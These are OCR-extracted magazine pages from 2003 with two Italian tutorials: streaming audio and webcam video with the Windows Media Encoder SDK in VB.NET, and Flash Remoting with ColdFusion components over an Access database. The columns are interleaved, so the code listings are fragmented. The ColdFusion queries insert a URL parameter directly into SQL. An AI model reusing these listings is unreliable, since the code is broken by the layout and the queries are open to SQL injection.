[Link] re development kit utilizzabile da chiunque voglia re i stream che possono essere distribuiti o inviati ad
media realizzare un’applicazione basata sulla tecnologia un Windows Media Server, che funziona da centrale
Windows Media. Si possono individuare diversi com- di distribuzione dei contenuti.
ponenti all’interno di WMSDK, tre dei quali sono Alcune delle novità più significative che si possono
quelli che impiegheremo e analizzeremo per creare le trovare in WME9 sono:
40 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
040-044 Streaming 31-05-2003 10:02 Pagina 41
E E E E E E E E E E E E E T E O R I A E T E C N I C A
• Miglioramenti a livello di codifica, incluso il sup- è di tipo COM e quindi deve essere generato un wrap-
porto di bit-rate multipli (MBR) e bit-rate variabili per di interoperabilità per permetterne l’impiego in
(VBR) e supporto di sorgenti multicanale; ambiente .net. Visual Studio fa tutto questo per noi,
• Possibilità di effettuare pushing di stream su un impiegando lo strumento a riga di comando tlbimp.
Server Windows Media; exe, in maniera del tutto trasparente per l’utente. Nel-
• Possibilità di limitare la grandezza dei file codifi- la directory bin del nostro progetto, infatti, si potrà tro-
cati decidendone durata o dimensione; vare una dll di nome [Link] che
• Post-produzione di file migliorata ed arricchita rappresenta appunto il wrapper per effettuare le chia-
con possibilità di includere script, indici e marca- mate dal “mondo managed” al “mondo COM”. La-
tori; scio a voi la disamina della creazione dei vari control- Multimedia
• Possibilità di creare trasformazioni audio/video li della nostra applicazione di codifica, in quanto li ri-
grazie al nuovo modello basato su plug-in. tengo abbastanza banali e non significativi dal punto La TV
di vista dello studio della tecnologia Windows Media. in una pagina WEB?
La prima cosa che dovremo fare, sarà installare questo Soffermiamoci piuttosto sull’evento collegato alla Ora è possibile!
componente nel nostro computer. Il file autoinstallan- pressione del tasto “Codifica”. All’interno di questa
te si può scaricare dal sito [Link] [Link] e si routine si creano gli oggetti necessari alla codifica del
chiama [Link]. Dopo l’installazione, nella di- nostro file. Come prima cosa esaminiamo la prima
rectory C:\Programmi\Windows Media Components parte del listato della routine:
\Encoder troveremo dei programmi di utilità molto in-
teressanti con i quali potrete effettuare delle prove di Dim WithEvents Encoder As [Link]
.NET e
codifica e broadcasting. Tra i programmi installati si ...
Interoperabilità
possono individuare: Encoder = New [Link] In tutto l’articolo so-
‘ Retrieve the source group collection and add a source group. no state create di-
• Wmenc: è la console principale grazie alla quale è Dim _sourceGroupCollection As verse applicazioni .net
che sfruttano DLL COM e
resa possibile la creazione di sessioni di codifica, [Link]
componenti ActiveX. Uno
broadcasting e salvataggio di contenuti. Possiamo _sourceGroupCollection = [Link] dei punti di forza di .net è
definirla interfaccia standard del motore di codifi- 'Aggiungo una sorgente multimediale proprio il supporto del
ca dell’encoder di base. Dim _sourceGroup As WMEncoderLib.IWMEncSourceGroup2 mondo COM tramite la co-
siddetta interoperabilità.
• WmEditor: permette di editare gli attributi di un _sourceGroup = _sourceGroupCollection.Add("SG_1")
Grazie all’impiego di Vi-
file Windows Media. Grazie alla semplice inter- 'Aggiungo la sorgente audio al gruppo SG_1 appena creato sual [Link], inoltre,
faccia è possibile editare, dopo la produzione, le Dim _sourceAudio As IWMEncAudioSource l’import delle DLL COM e
caratteristiche di un file multimediale. _sourceAudio = _sourceGroup.AddSource( dei componenti risulta
essere del tutto traspa-
• WmProEdt: questa utilità permette di creare,mo- WMENC_SOURCE_TYPE.WMENC_AUDIO)
rente dal punto di vista
dificare e salvare profili di codifica. Un profilo di 'Imposto il file da codificare dello sviluppatore. Pen-
codifica definisce il bitrate, il tipo di codifica e il _sourceAudio.SetInput([Link]) sate a quanto codice riu-
formato secondo il quale il file verrà compresso ed ... scirete a riutilizzare me-
diante l’interoperabilità…
inviato al client “consumatore”. a patto di averlo svilup-
In questa parte della routine si crea l’oggetto encoder, pato ad oggetti, s’in-
Oltre alle utilità sopraccitate, vengono installati anche precedentemente definito WithEvents a livello di tende!
altri file, tra i quali diversi file di help, molto chiari ed Form, e si impostano le sorgenti per la codifica, che nel
esaustivi. nostro caso sono soltanto una, rappresentata da un fi-
le MP3. Nelle ultime due righe si imposta il tipo di co-
difica come audio e si collega la sorgente al percorso
SDK E AUTOMAZIONE del file che abbiamo scelto nella nostra textbox. Media Player 9
Il Windows Media Encoder SDK (WME/SDK) permette L’ultima versione di
Windows Media Pla-
di utilizzare tutta la potenza dei meccanismi di codifi- ...
yer è ancora più ricca e
ca contenuti nel WME nelle nostre applicazioni. 'Scelgo un profilo di codifica potente della precedente,
Vedremo ora come poter impiegare l’SDK per codifi- Dim _profileCollection As IWMEncProfileCollection includendo nuove featu-
care un file MP3 in un file WMA. L’applicazione verrà Dim _profile As IWMEncProfile res. Anche per Media
Player 9 è disponibile un
scritta in [Link], pertanto spiegheremo brevemente Dim _i As Integer
SDK che permette la per-
anche come funziona l’interoperabilità con COM, vi- Dim _length As Long sonalizzazione totale del
sto che la libreria di codifica che andremo ad utilizza- _profileCollection = [Link] dispositivo, compresa la
re non è una dll “managed”. Cominciamo con il crea- _length = _profileCollection.Count spiegazione di come crea-
re delle skin personaliz-
re una Windows Application [Link] con Visual Stu- For Each _profile In _profileCollection
zate.
[Link]. La prima cosa che dovremo fare una volta If _profile.Name = "Windows Media Audio 8 for ISDN
creato il progetto, sarà di aggiungere un riferimento (Better than CD quality, 128 Kbps)" Then
alla libreria “Windows Media Encoder”, registrata du- _sourceGroup.Profile = _profile
rante l’installazione del WME. Vorrei che poneste la End If
vostra attenzione sul fatto che la libreria in questione Next
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 41
040-044 Streaming 31-05-2003 10:02 Pagina 42
T E O R I A E T E C N I C A G G G G G G G G G G G G G
'Specifico un nome file nel quale salvare i dati codificati po ne è passato un po’. In inglese broadcast significa
Dim _File As IWMEncFile trasmissione ed il broadcasting è l’azione mediante la
_File = [Link] quale si trasmettono dei contenuti, audio o video, da
_File.LocalFileName = [Link] un provider ad una serie di client che possono acce-
[Link](0).Text = "Codifica in corso..." dere ai servizi offerti dal provider. Due esempi illumi-
'Comincio la codifica nanti possono essere rappresentati dalla televisione di
[Link]() Stato, che effettua un broadcasting di contenuti au-
dio/video captabili grazie ad un’antenna “terrestre”,
ovvero ad un’antenna che possa ricevere le trasmis-
Multimedia sioni provenienti da un network terrestre, e la pay-tv,
la quale trasmette via satellite e per ricevere la quale è
La TV necessaria un’antenna (parabola) satellitare, nonché
in una pagina WEB? un decoder. Tutta questa premessa per arrivare dove?
Ora è possibile! Anche con Windows Media possiamo effettuare un
Fig. 1: La nostra applicazione per la codifica di file
audio MP3. broadcasting di contenuti e con la prossima applica-
zione vedremo come effettivamente rendere disponi-
Nella seconda parte del listato si sceglie per prima co- bile lo stream audio/video proveniente da una sem-
sa il profilo di codifica da utilizzare, ovvero in che mo- plice webcam su una pagina [Link], esposta su in-
do l’oggetto encoder tratterà i dati provenienti dalla ternet. Prima però voglio spendere due parole e spie-
sorgente. Questo è un passo estremamente importan- gare cosa Windows Media mette a disposizione per
te, in quanto bisogna avere ben chiaro il risultato che pubblicare contenuti “live”. Nella precedente applica-
si vuole ottenere. I vari profili di codifica disponibili, zione, abbiamo visto che è possibile registrare una sor-
ai quali ne possono essere aggiunti anche di persona- gente e, con un profilo di codifica, comprimere il se-
lizzati, offrono diversi risultati, ed in caso di streaming gnale; l’output è stato salvato su disco. Nel caso del
su internet o LAN devono essere scelti con oculatezza. broadcasting, l’unica cosa che cambia è l’output, che
L’ultimo passo che si deve intraprendere prima di av- non deve essere un file, ma una determinata porta su
viare la codifica è l’impostazione del file di destina- un indirizzo IP, che nella nostra applicazione coinci-
zione, che abbiamo scelto in precedenza nella textbox derà con [Link], ovvero con l’indirizzo di loopback
della nostra applicazione. Un’ultima osservazione si della nostro PC. Creiamo dunque la nostra Windows
può fare a proposito della gestione ad eventi dell’og- Application di nome WebcamBroadcast e rendiamola
.NET e la getto encoder, che è stata utilizzata per notificare all’u- capace di trasmettere le immagini ed i suoni captati
filosofia Mobile tente l’avvenuto successo della codifica. dalla nostra webcam (tipo Grande Fratello, per inten-
Tutto ciò che abbia-
mo visto per il mon- derci)… alla faccia della privacy!! Come già fatto in
do desktop vale anche Private Sub Encoder_OnStateChange(ByVal enumState precedenza, aggiungiamo la stessa COM reference al
per il mondo mobile… As WMEncoderLib.WMENC_ENCODER_STATE) Handles nostro progetto, e dopo aver creato una form in stile
ovvero grazie al compact
[Link] Service Manager di SQL Server, andiamo ad analizza-
.net Framework ed alle
ultime versioni di Win- If enumState = WMENC_ENCODER_STATE.WMENC_ re il codice. Tralasciando la creazione dei controlli, fo-
dows Media Player per ENCODER_ RUNNING Then calizziamo la nostra attenzione sul codice che viene
dispositivi Portatili, sarà
[Link](0).Text = "Codifica in corso..." eseguito alla pressione del tasto btnStartEncoding.
possibile ricevere conte-
nuti multimediali diret- ElseIf enumState = WMENC_ENCODER_STATE.WMENC_ Come possiamo vedere, il codice non è molto diverso
tamente sul nostro Poc- ENCODER_PAUSED Then da quello impiegato per la codifica del file. Le diffe-
ket PC o sul nostro (fu- [Link](0).Text = "Codifica interrotta!" renze possono essere analizzate per punti:
turo) telefono UMTS.
ElseIf enumState = WMENC_ENCODER_STATE.WMENC_
ENCODER_STOPPED Then • Creo una video source oltre che un audio source,
[Link]("Codifica completata!") perché i contenuti da codificare sono audio/vi-
[Link](0).Text = "" deo.
Else • Imposto la sorgente audio/video a DEVICE:// De-
End If fault_Video_Device e DEVICE://Default_Audio_De-
End Sub
BROADCASTING…
CHI ERA COSTUI? Fig. 2: La nostra applicazione Webcam
In principio fu Guglielmo Marconi… ma forse di tem- Broadcasting.
42 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
040-044 Streaming 31-05-2003 10:03 Pagina 43
E E E E E E E E E E E E E T E O R I A E T E C N I C A
vice. Questa notazione significa: utilizza i dispositi- applicazione non produce effetti “tangibili”. Come fa-
vi di cattura audio /video impostati nel pannello di con- re per ricevere il flusso audio/video? Semplice, apria-
trollo. mo Windows Media Player 9 e alla voce di menu Apri
• Imposto un riferimento alla proprietà Broadcast URL (o Open URL, se MP è in inglese) puntiamo al-
dell’oggetto Encoder, e successivamente ne impo- l’indirizzo [Link] 1234, in cui [Link] è l’in-
sto il valore della porta, che deve essere una porta dirizzo del computer locale (localhost), detto anche in-
libera, diversa cioè dalle porte ben conosciute dirizzo di loopback e 1234 è la porta sulla quale abbiamo
(80,21,8080 etc.) deciso di pubblicare i contenuti. Se foste tra i fortuna-
ti possessori di due computer in rete, potreste anche
Quando verrà premuto il tasto StartEncoding, si co- vedere la stessa cosa da un computer diverso da quel- Multimedia
mincerà l’invio di uno stream audio/video alla porta lo che si occupa della codifica, modellando così una
prescelta del computer locale. vera rete Client/Server multimediale. Quindi se avre- La TV
te l’opportunità di provarlo, magari in ufficio dove in una pagina WEB?
'Creo l'oggetto Encoder, responsabile della codifica dell avete più computer, potrete crearvi una piccola televi- Ora è possibile!
flusso audio/video. sione privata!! La cosa più interessante, però, sarebbe
Encoder = New [Link] quella di creare una piccola applicazione server, in
'Leggo la collection dei gruppi di sorgenti audio/video modo che venisse più o meno “celato” il meccanismo
Dim _sourceGroupCollection As “pull” dei contenuti tramite Media Player.
[Link] Rimbocchiamoci le maniche!
_sourceGroupCollection=[Link]
'Aggiungo una sorgente multimediale WME SDK
Dopo aver installato
Dim _sourceGroup As WMEncoderLib.IWMEncSourceGroup2
WME, installiamo an-
_sourceGroup = _sourceGroupCollection.Add("SG_1") che WME /SDK, scarican-
'Aggiungo la sorgente audio al gruppo SG_1 appena creato do anche quest’ultimo da
Dim _sourceVideo As IWMEncVideoSource [Link]
(lo troverete come file
_sourceVideo = _sourceGroup.AddSource(
autoinstallante con nome
WMENC_SOURCE_TYPE.WMENC_VIDEO) [Link]).
Dim _sourceAudio As IWMEncAudioSource Nella directory C:\ WM-
_sourceAudio = _sourceGroup.AddSource( SDK\WMEncSDK9 si tro-
veranno una serie di
WMENC_SOURCE_TYPE.WMENC_AUDIO)
esempi e l’help, conte-
'Imposto l'imput audio/video nente informazioni molto
_sourceVideo.SetInput("DEVICE://Default_Video_Device") interessanti.
_sourceAudio.SetInput("DEVICE://Default_Audio_Device")
'Scelgo un profilo di codifica
Dim _profileCollection As IWMEncProfileCollection
Fig. 3: Media Player 9 alle prese con il nostro
Dim _profile As IWMEncProfile
flusso.
Dim _i As Integer
Dim _length As Long
_profileCollection = [Link] MEDIAPLAYER TELEVISION
_length = _profileCollection.Count Creiamo una semplicissima applicazione web [Link]
For Each _profile In _profileCollection che permetta alle persone di collegarsi ad un sempli- [Link]
User Group Italia
If _profile.Name = "Windows Media Video 8 for Local ce sito (che nel nostro caso sarà [Link] e
.Net
Area Network (384 Kbps)" Then fruire dei contenuti audio video real time. Appena [Link]
_sourceGroup.Profile = _profile aperto Visual [Link] impostiamo la creazione di
End If un progetto Applicazione Web [Link] e non appena è una comunità no-profit
esclusivamente dedicata
Next il wizard ha finito di creare i file, rinominiamo la web
al mondo .net. Sono pre-
'Creo un riferimento al broadcast form WebForm1 in [Link]. Analizzeremo senti vari forum dove si
Dim _Broadcast As IWMEncBroadcasta ora la possibilità di inserire Windows Media Player 9 trattano i vari argomenti
_Broadcast = [Link] in una pagina aspx. Media player 9 è un componente del mondo .net e dove
tutti gli utenti sono alla
_Broadcast.PortNumber(WMENC_BROADCAST_PROTOC ActiveX e può essere agevolmente inserito in una pa- pari. Qui è possibile tro-
OL.WMENC_PROTOCOL_HTTP) = [Link]([Link]) gina html grazie al tag OBJECT. Vediamo un esempio: vare risposte alle proprie
[Link](0).Text = "Trasmissione in corso..." domande, e spesso ci po-
'Comincio la trasmissione <OBJECT ID="MyPlayer" trete trovare anche il
sottoscritto!
[Link]() CLASSID="CLSID:6BF52A52-394A-11d3-B153-
00C04F79FAA6">
<PARAM name="autoStart" value="True">
OPERATORE! NON VI </OBJECT>
RICEVIAMO MOLTO BENE…
Fin qui, tutto questo è molto interessante, ma la nostra Gli oggetti ActiveX inseriti in pagine web possono
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 43
040-044 Streaming 31-05-2003 10:05 Pagina 44
T E O R I A E T E C N I C A G G G G G G G G G G G G G
contenere uno o più parametri che rappresentano le dice delle applicazioni all’interno del CD. Specifichia-
proprietà con le quali viene inizializzato il controllo. mo solo che se cambiate porta di pubblicazione, ovve-
Nell’esempio riportato sopra il significato del para- ro non impiegate la 1234, ricordatevi di cambiare la
metro autostart è quello di far partire in modo auto- porta specificata nel parametro URL dell’oggetto Me-
matico la riproduzione dei contenuti collegati al no- dia Player.
stro player. Riporto una tabella con i parametri più
frequentemente utilizzati:
CONCLUSIONI
In questo articolo abbiamo fatto una panoramica del-
le possibilità offerte dalla tecnologia Windows Media
ed abbiamo creato varie piccole applicazioni che con
poco sforzo hanno garantito dei risultati di grande ef-
fetto. Vale la pena approfondire la conoscenza della
tecnologia Windows Media? Secondo il sottoscritto sì,
perché nell’immediato futuro le applicazioni nel cam-
po dell’informazione e dell’intrattenimento saranno
moltissime. Basta pensare ai telefoni UMTS o ai pal-
mari, che saranno in grado di ricevere gli stream che
abbiamo creato nelle nostre esercitazioni.
Alla prossima!
Fig. 4: La nostra Web Television! Ing. G. Davide Senatore
44 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 31-05-2003 10:07 Pagina 46
T E O R I A E T E C N I C A G G G G G G G G G G G G G
Flash Remoting,
istruzioni per l’uso
Flash
Con Actionscript e Flash gli aspetti del Flash Remoting in pochi punti:
Remoting, il dialogo fra Flash
• lo sviluppatore non deve più preoccuparsi di ge-
MX e Database diventa più
stire complessi data types grazie all’introduzione
semplice. Scopriamo come! dell’oggetto Recordset in ActionScript;
• disponibilità di strumenti di debug per le applica-
zioni;
• l’oggetto DataGlue permette di formattare e colle-
File sul CD
L’
era del web statico è decisamente finita da un gare i dati ricevuti ai componenti dell’intefaccia
\soft\codice\ pezzo. Le applicazioni web offrono sempre grafica;
remoting_sourcefiles.zip
più agli utenti contenuti ricchi e dinamici che • i filmati Flash possono nativamente invocare fun-
permettono di acquistare prodotti, fare ricerche sem- zioni e metodi di Componenti Coldfusion, Java-
File sul Web pre più precise, metodi di pagamento sempre più si- Beans e classi Java, EJB, classi .NET e WebServi-
[Link]/ioprog71/ curi. Purtroppo i modelli di presentazione di questi ces.
remoting_sourcefiles.zip
contenuti rimangono ancora legati alle vecchie tecno-
logie (HTML, DHTML, linguaggi client-side). Proble- Tutto questo apre la strada agli sviluppatori per poter
mi di incompatibilità tra differenti versioni di brow- progettare applicazioni che interagiscono con databa-
ser, tra piattaforme e sistemi operativi obbligano lo se, eseguire qualsiasi tipo di operazione sui file e sul
sviluppatore ad utilizzare interfacce utente povere e server, spedire e ricevere mail attraverso l’ambiente
quasi mai ottimizzate per una navigazione rapida e ormai ben noto di Flash MX.
semplice. Con l’uscita di Macromedia Flash le cose so-
no cominciate a cambiare. La maturità del program-
ma, la larga diffusione del player, la potenza del lin- FLASH REMOTING:
Cosa serve guaggio ActionScript hanno contribuito all’avvento ISTRUZIONI PER L’USO
per di una nuova era per le applicazioni web: le Rich In- Sviluppare con Flash Remoting significa avere a di-
sviluppare ternet Application (RIA). Animazioni, suoni, video ed sposizione un web server con uno dei seguenti appli-
con Flash effetti speciali hanno cominciato ad arricchire le inter- cation server installati:
Remoting facce web mantenendo la possibilità di caricare dina-
Sviluppare applicazioni
micamente i contenuti. Già dalle vecchie versioni era Coldfusion Mx
per Flash Remoting signi-
fica utilizzare l'ambiente possibilire comunicare con linguaggi server-side .NET
di sviluppo di Flash Mx. (ColdFusion, ASP, PHP, JSP) per accedere a fonti dati J2EE
Ma vuol dire anche utiliz- esterne ed eseguire scambi di dati con i server remoti.
zare un linguaggio lato
L’ultima versione del programma aggiunge nuove Utilizzando il Coldfusion Mx l’utente non deve
server. Nel nostro esem-
pio abbiamo utilizzato il potenzialità al linguaggio per potenziare quest’aspet- preoccuparsi di installare nulla sul server remoto in
Coldfusion mx per poter to dello sviluppo. Mi riferisco al nuovo oggetto Load- quanto il programma già include nativamente il sup-
creare le funzioni neces- Vars() e al più performante oggetto XML. Con questi porto al Flash Remoting. Negli altri due casi (.NET e
sarie all'accesso della
fonte dati. Quest'ultima è
strumenti, un programmatore Actionscript di medio- J2EE) è necessario scaricare e installare il programma
stata creata con Access basso livello aveva la possibilità di scrivere codice per che trovate sul sito Macromedia. Quello che invece
2000. Il codice lato ser- rispondere alle più disparate esigenze richieste alle serve è il pacchetto che estende le API dell’Action-
ver è stato scritto utiliz- applicazioni web data-oriented. Rendere le cose più script con i nuovi oggetti remoting. Anche questo
zando le potenzialità di
Dreamweaver Mx.
semplici agli utenti è da sempre la sfida che Macro- pacchetto è gratuitamente scaricabile dal sito Macro-
media si prefigge. Per rispondere a questa sfida nasce media: FlashRemotingCmpntsInstall. Dopo aver lancia-
Flash Remoting Mx, tecnologia che potenzia le fun- to l’eseguibile e portato a termine la procedura di in-
zionalità di Flash Mx per permettergli di accedere a stallazione, aprendo il programma Macromedia Flash
server remoti attraverso application server come Mx, nel pannello Action, una nuova cartella denomi-
Coldfusion Mx, .Net, J2EE. Cercando di sintetizzare nata Remoting è stata aggiunta. A questo punto dispo-
46 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 31-05-2003 10:07 Pagina 47
E E E E E E E E E E E E E T E O R I A E T E C N I C A
niamo di tutto il necessario per poter cominciare a svi- è utilizzato per accedere al servizio remoto durante lo
luppare con Flash Mx applicazioni sotto il Flash Re- sviluppo in ambiente di authoring. Infine il metodo
moting. getService crea un oggetto che permette l’accesso alle
funzioni dell’application server. Lo sviluppatore è in
grado ora di poter richiamare qualsiasi funzione del
servizio invocato, richiamandola direttamente da Ac-
tionScript con il suo nome.
Flash
LA NOSTRA PRIMA
APPLICAZIONE Flash Remoting
Per capire le potenzialità del Flash Remoting, nulla istruzioni per l’uso
meglio di un esempio reale! La nostra applicazione
Fig. 1: Nuova cartella Remoting nel pannello
web permette all’utente di scegliere da un menu a ten-
Action. dina uno dei corsi di formazione che la nostra fittizia
società mette a disposizione del pubblico, e fornisce
dinamicamente informazioni sul prezzo e sulla sede
COME FUNZIONA logistica della selezione effettuata. Tutto è progettato
IL FLASH REMOTING e costruito nell’ambiente di Flash Mx. La nostra ap-
Prima di addentrarci nel codice, proviamo a capire co- plicazione di esempio prevede la creazione di un da-
me funziona il Flash Remoting. I dati che vengono in- tabase in formato Access, un componente in Coldfu-
viati e passati al servizio (CFC, JavaBean, classe .NET) sion Mx, e il file swf creato con il Flash Mx. Per prova-
che viene invocato, passano sul protocollo http ed uti- re i file è necessario avere installato un web server e
lizzano il formato AMF. L’acronimo sta per Action Coldfusion Mx.
Message Format ed è basato su un modello SOAP
L'oggetto
(Simple Object Model Protocol) che rende automatica
loadVars()
L'oggetto LoadVars
la serializzazione dei dati all’interno del Flash Remo- IL DATABASE sostituisce il co-
ting. Lo sviluppatore, deve includere alcune classi Ac- Il nostro database è in formato Access e prevede tre ta- mando loadVariable.
tionScript esterne installate sul sistema insieme al set di belle: Calendario, Città, Corsi. La tabella Calendario Il nuovo comando mette
a disposizione dello svi-
componenti del paragrafo precedente. In particolare: conterrà i seguenti campi: ID, IdCorso, IdOrario, IdDo- luppatore metodi sempli-
cente, Data_Inizio, Data_Fine, Id_Status_Corso, N_Iscrit- ci e potenti per comuni-
#include "[Link]" ti, Max_Iscritti, Overbooking. La Tabella Corsi avrà i se- care con linguaggi lato
#include "[Link]" guenti campi: ID, Codice, Descrizione, Ore e Prezzo. server. Un esempio di co-
dice per spedire e riceve-
#include "[Link]" L'ultima tabella, Città, contiene i campi: Id, Nome, re dati da un file Coldfu-
Struttura, Indirizzo, Telefono, Commenti e Url_Mappa. sion potrebbe essere il
Considerato che questo tipo di applicazioni è costitui- La prima tabella con cui andremo ad interagire è la ta- seguente:
to da una parte che gira sul server, il primo step con- bella Corsi che contiene l'elenco di tutti i corsi. Questa
datiInvio=new LoadVars();
siste nel creare la connessione all’oggetto remoto tabella è collegata alla tabella Calendario dal campo ID. [Link] = "Marco";
(Coldfusion, Jrun, .NET): La prima query sql infatti prevede di ritirare l'elenco [Link] =
di tutti i corsi: "Casario";
[Link]( datiRicezione = new
LoadVars();
"[Link] Select Descrizione, ID from Corsi
[Link](
Oggetto_connessione =
"[Link]", datiRicezione);
[Link](); La seconda query è un pò più complicata e prevede
Oggetto_remoto = Oggetto_connessione.getService( due INNER JOIN:
"mioComponente", this);
SELECT [Link], [Link], Calendario.Data_Inizio,
Il metodo setDefaultGatewayUrl crea un oggetto di tipo Calendario.Data_Fine, Calendario.N_Iscritti,
NetConnection che viene utilizzato per il collegamento Calendario.Max_Iscritti, [Link]
al Flash Remoting. Il metodo createGatewayConnection FROM (Calendario INNER JOIN Citta ON [Link]
= [Link]) INNER JOIN Corsi ON
[Link] = [Link] WHERE
[Link]=#[Link]#
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 47
046-051 Flash 11-06-2003 17:23 Pagina 48
T E O R I A E T E C N I C A G G G G G G G G G G G G G
Flash
Internet attraverso i ColdFusion Components (CFC). mento non venga passato.
Questo nuovo approccio allo sviluppo consente di se-
parare la logica dalle vostre pagine fisiche. Infatti il Il codice della nostra funzione diventa:
codice risiede in un file esterno che può essere invo-
cato dalla pagina cfm con il metodo cfinvoke. Macro- <cffunction access="remote" name="elencoCalendario"
Flash Remoting media ha pubblicato veramente tanto materiale su output="false" returntype="query" hint=
istruzioni per l’uso quest'argomento che mi sembra superfluo scriverne "Ritira i valori nella Tabella Calendario">
altro. Nel nostro articolo il CFC è costituito da due <cfargument name="nomeCorso" type="numeric"
funzioni: elencaCorsi e elencoCalendario. La prima fun- required="true" default="6">
zione ci ritorna i campi Descrizione e ID della tabella <cfquery name="getCalendario" datasource="Corsi">
corsi, mentre la seconda funzione prende come para- SELECT [Link], [Link],
metro l'ID del corso selezionato e ritorna i campi nel- Calendario.Data_Inizio, Calendario.Data_Fine,
la tabelle Calendario, Citta e Corsi. Ogni CFC inizia con Calendario.N_Iscritti, Calendario.Max_Iscritti,
la dichiarazione: [Link]
FROM (Calendario INNER JOIN Citta ON
<cfcomponent name="Elenco_Corsi"> [Link] = [Link]) INNER JOIN Corsi ON
[Link] = [Link] WHERE
che dice al Coldfusion che quel file è un componente [Link]=#[Link]#
I componenti
Eccovi alcuni indiriz- e gli assegna un nome che viene utilizzato per invo- </cfquery>
zi dove potete ap- carlo da una pagina CFM o dal flash remoting. Suc- <cfreturn getCalendario>
profondire l'argometen- cessivamente dichiariamo la prima funzione incarica- </cffunction>
to:
ta di effettuare una query al database. Utilizziamo i </cfcomponent>
Creating CFCs and Web comandi cffunction per definire la funzione e cfquery
Services in Dreamweaver per scrivere il comando SQL da eseguire: Il file è salvato con il nome [Link] nella cartella
MX cfc del nostro webserver.
[Link]
<cffunction access="remote" name="elencaCorsi" output
/desdev/mx/coldfusion
/articles/creating_cfcs.html ="false" returntype="query" hint="I nomi dei corsi con
il loro ID che e' legato alla tabella Calendario"> COLDFUSION MX
CFC Best Practices: Invo- <CFQUERY name="getCorsi" datasource="Corsi"> IL CODICE LATO CLIENT
king a Security CFC Any
Select Descrizione, ID from Corsi La pagina lato client ci servirà solo da test per con-
Way You Like
[Link] </CFQUERY> trollare che il nostro CFC funzioni. Creeremo per que-
/desdev/mx /coldfusion/ <cfreturn getCorsi> sto una tabella che elenca tutti i corsi in catalogo an-
articles/cfc_practices.html </CFFUNCTION> dando a lanciare il metodo elencaCorsi del nostro com-
Learn the Basics on Con-
ponent e, quando l'utente selezionerà un corso, la
suming Web Services Da notare che il parametro access del comando cffunc- stessa pagina verrà caricata di nuovo con le informa-
[Link] tion DEVE essere impostato a remote per poter funzio- zioni dettagliate riguardanti quel corso. Questi dati
/support/flash/flashremoting
nare con il flash remoting. Dopo la chiusura della sono passati dal metodo elencoCalendario. Il file co-
/consuming_ws_using_cfmx
query, per poterci far ritornare il risultato della chia- mincia con la dichiarazione di due variabili: Action e
e inoltre ColdFusion MX mata, utilizzo il comando cfreturn che popola la varia- Pagina. La prima ("Action") servirà da flag per invo-
Support Page bile getCorsi. Con lo stesso metodo creo la seconda care uno dei due metodi. Infatti il valore inziale di Ac-
[Link]
funzione per eseguire la seconda query. L’unica diffe- tion sarà impostato a ElencoCorsi che invocherà il me-
com/desdev/mx/coldfusion
renza è che questa chiamata prevede un argomento todo elencaCorsi del CFC:
che gli viene passato dalla combo box dell’interfaccia
di flash e che rappresenta il corso selezionato dall’u- <cfparam name="Action" default="ElencoCorsi">
tente. Per poter passare un argomento ad un funzione
di un CFC Coldfusion usiamo il comando cfargument Un ciclo di if controlla durante il caricamento della
che prevede la seguente sintassi: pagina il valore contenuto nella variabile Action e a se-
conda di questo richiama un differente metodo del
<cfargument name="nomeCorso" type="numeric" CFC. Per richiamare le funzioni definite all’interno
required="true" default="6"> del CFC utilizzo il parametro method del comando
cfinvoke.
dove l’attributo:
<cfif Action eq "ElencoCorsi">
• name: è il nome del parametro utilizzato all’inter- <cfinvoke component="casario.prove_cf.[Link]"
48 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 31-05-2003 10:09 Pagina 49
E E E E E E E E E E E E E T E O R I A E T E C N I C A
method="elencaCorsi" </tr>
returnvariable="elencoCorsi_rtn"> </cfoutput>
</cfinvoke> </table>
<cfelseif Action eq "ElencoCalendario"> <!--- Parte della pagina costruita una volta che l'utente
<cfinvoke component="casario.prove_cf.[Link]" ha cliccato sul nome del corso --->
Flash
method="elencoCalendario" <cfelseif Pagina eq "ListaCalendario">
returnvariable="elencoCalendario_rtn"> <table border="1" cellpadding="1" cellspacing="1">
<cfinvokeargument name="nomeCorso" <tr>
value="#[Link]#"/> <td align=center colspan=7><b>
</cfinvoke> Dettaglio Corso </b>
</cfif> </td></tr> Flash Remoting
<TR><TD>Corso</TD><TD>Numero iscritti</TD>
istruzioni per l’uso
Il metodo elencaCalendario del CFC richiedeva un pa- <TD>Numero massimo</TD><td>Citta'</td>
rametro che gli viene perciò fornito usando il metodo <td>Struttura</td><TD>Data inizio</TD>
cfinvokeargument e il parametro value: <TD>Data Fine</TD></TR>
<cfoutput Query="elencoCalendario_rtn">
<cfinvokeargument name="nomeCorso" <tr><td>
value="#[Link]#"/> #Descrizione# </td><td> #N_Iscritti# </td><td> L'oggetto XML
#Max_Iscritti#</td><td>#Nome#</td> L'oggetto XML fa
La seconda variabile locale (Pagina) servirà come flag <td>#Struttura#</td> parte della libreria
degli oggetti Client/Ser-
per costruire dinamicamente il contenuto della pagina <td>#Data_Inizio#</td><td>#Data_Fine#</td>
ver di Flash Mx e nel pre-
html. Il valore iniziale della variabile è ListaCorsi che </tr> cedente numero della ri-
stampa la lista dei corsi in catalogo. Il valore di Pagina </cfoutput> vista gli abbiamo de-
viene passato in querystring sull'href in questo modo: </table> dicato uno speciale. Per
rinfrescare la memoria
</cfif>
vediamo un codice di
<a href="[Link]?nomeCorso=#ID#&Pagina= </body> esempio per caricare da-
ListaCalendario&Action=ElencoCalendario"> </html> ti da un file xml esterno:
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 49
046-051 Flash 4-06-2003 17:30 Pagina 50
T E O R I A E T E C N I C A G G G G G G G G G G G G G
nostro codice continua lanciando il metodo NetServi- dove è installato il vostro Flash: C:\Programmi\Ma-
[Link] che setta il Coldfusion Mx cromedia\Flash MX\Help\Flash\[Link]. La
server. Il metodo [Link] finestra Service Browser mostra i servizi del Flash re-
